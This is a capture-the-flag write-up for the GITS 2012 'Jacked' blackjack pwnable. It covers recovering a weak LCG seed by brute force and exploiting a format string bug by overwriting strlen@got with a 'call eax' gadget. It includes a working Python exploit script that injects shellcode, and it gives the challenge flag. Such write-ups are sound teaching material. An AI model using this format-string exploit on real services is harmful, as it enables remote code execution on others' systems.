Gits 2012 #14 Pwnable (300)

Jacked
file running at jacked.final2012.ghostintheshellcode.com:2121

Summary: weak random, BlackJack bot, format string

Let’s see:

$ nc 127.0.0.1 2121
Jack's Blackjack Simulator
 
Blackjack pays 2:1
Dealer must hit soft 17
Single deck, shuffled after every round
 
Enter your name: hellman
 
Your table companions:
Player 1 is Donald with $1299
Player 2 is Alexander with $2153
Player 3 is Monica with $1055
Player 4 is Carrie with $1925
 
You have $1000
Place your bet (zero to exit): $100
Dealer          XXX  J ♠  
Donald          9 ♣  5 ♦  A ♥  8 ♠   (23)
Alexander       J ♥  3 ♠  A ♣  Q ♦   (24)
Monica          6 ♠  A ♦   (17)
Carrie          10♣  J ♣   (20)
 
You             K ♥  9 ♠   (19)
(H)it or (S)tand? S
 
Dealer          5 ♣  J ♠  4 ♥   (19)
It is a draw
 
You have $1000

1. Weak random

After analyzing the binary, you can see the random function:

int __cdecl sub_8048E6B()
{
  STATE = 1103515245 * STATE + 12345;
  return STATE & 0x7FFFFFFF;
}

This is simple LCG. We can easily find out the state, after having a small sequence of generated numbers.
Names of players and their money are random at start. We can dump names table and get index of each name.
Let’s say we have such sequence:

308(mod 400) 1421(mod 2000) 210(mod 400) 115(mod 2000) 192(mod 400) 1577(mod 2000) 238(mod 400) 351(mod 2000)

We know that at the last moment, (STATE & 0x7fffffff) % 2000 = 351. Also, we don’t need to know full STATE, only STATE & 0x7fffffff, because they have the same result in LCG.
Notice: be careful, modulus here is 0x80000000, not 0x7fffffff.

So, we can bruteforce all seeds in form 2000 * k + 351 – there are only ~1073741 possible k.
Here’s bruteforcer:

$ time ./pwn14_brute 308 1421 210 115 192 1577 238 351
239426351
 
real	0m0.008s
user	0m0.000s
sys	0m0.004s

2. Coding a bot

After you know seed, there’s much work to do, to know all the cards in deck, and code a winning bot (we need 999999999$ to win the game).
Thx to @snkdna who coded our bot for this challenge!

3. Exploitation of format string

I’ll use patched binary, where we need only 1$ to win.

So, we have a format string bug:

int __cdecl f_congrats(int sock, const char *username)
{
  sock_printf(sock, "\n\nCongratulations, ");
  sock_printf(sock, username);
  sock_printf(sock, ", you've won so much money that you now own the casino!\n");
  return sock_printf(sock, "Might want tweak your blackjack tables.\n\n");
}

We can overwrite any data in memory. But what?

int sock_printf(int sock, const char *a2, ...)
{
  char *str; // [sp+14h] [bp-18h]@1
  va_list v4; // [sp+18h] [bp-14h]@1
  int v5; // [sp+1Ch] [bp-10h]@1
  va_list va; // [sp+38h] [bp+Ch]@1
 
  va_start(va, a2);
  v5 = 0;
  str = 0;
  v4 = va;
  v5 = vasprintf(&str, a2, va);
  if ( v5 != -1 )
    v5 = sock_puts(sock, str);
  free(str);
  return v5;
}
 
int sock_puts(int sock, const char *str)
{
  size_t v2; // eax@1
 
  v2 = strlen(str);
  return sendAll(sock, str, v2);
}

You can see, that the first libc function called after vasprintf is strlen, and the argument is the result of sprintf. Before argument is placed on the stack, it’s put into eax register. So, we can simply use this gadget:

0x804889fL: call eax ; leave ;;

To overwrite strlen@got.

Here’s exploit (using libformatstr):

from libformatstr import *
 
def dofmt(fmt):
	f = sock("127.0.0.1", 2121)
	f.settimeout(999999999)
	f.recv(4096)
	f.send(fmt + "\n")
	f.send("1\n")
	while True:
		s = f.recv(4096)
		if "Congra" not in s:
			f.send("H\n")
			time.sleep(0.1)
			continue
		s = s[s.find("Congra")+len("Congratulations, "):]
		s = s[:s.find(", you've")]
		return s
 
SC =  open("payload").read()
payload_len = 252
format_len = payload_len - len(SC)
 
res = dofmt(SC + make_pattern(format_len))
res = res[len(SC):]  # skip shellcode
argnum, padding = guess_argnum(res, format_len)
print argnum, padding
 
p = FormatStr(format_len)
p[0x0804c02c] = 0x804889f  # call eax ;; leave
s = p.payload(argnum, padding, len(SC))
s = SC + s
 
dofmt(s)

The flag: ThatWasSoMuchBetterThanCardCounting

Leave a Reply

Your email address will not be published.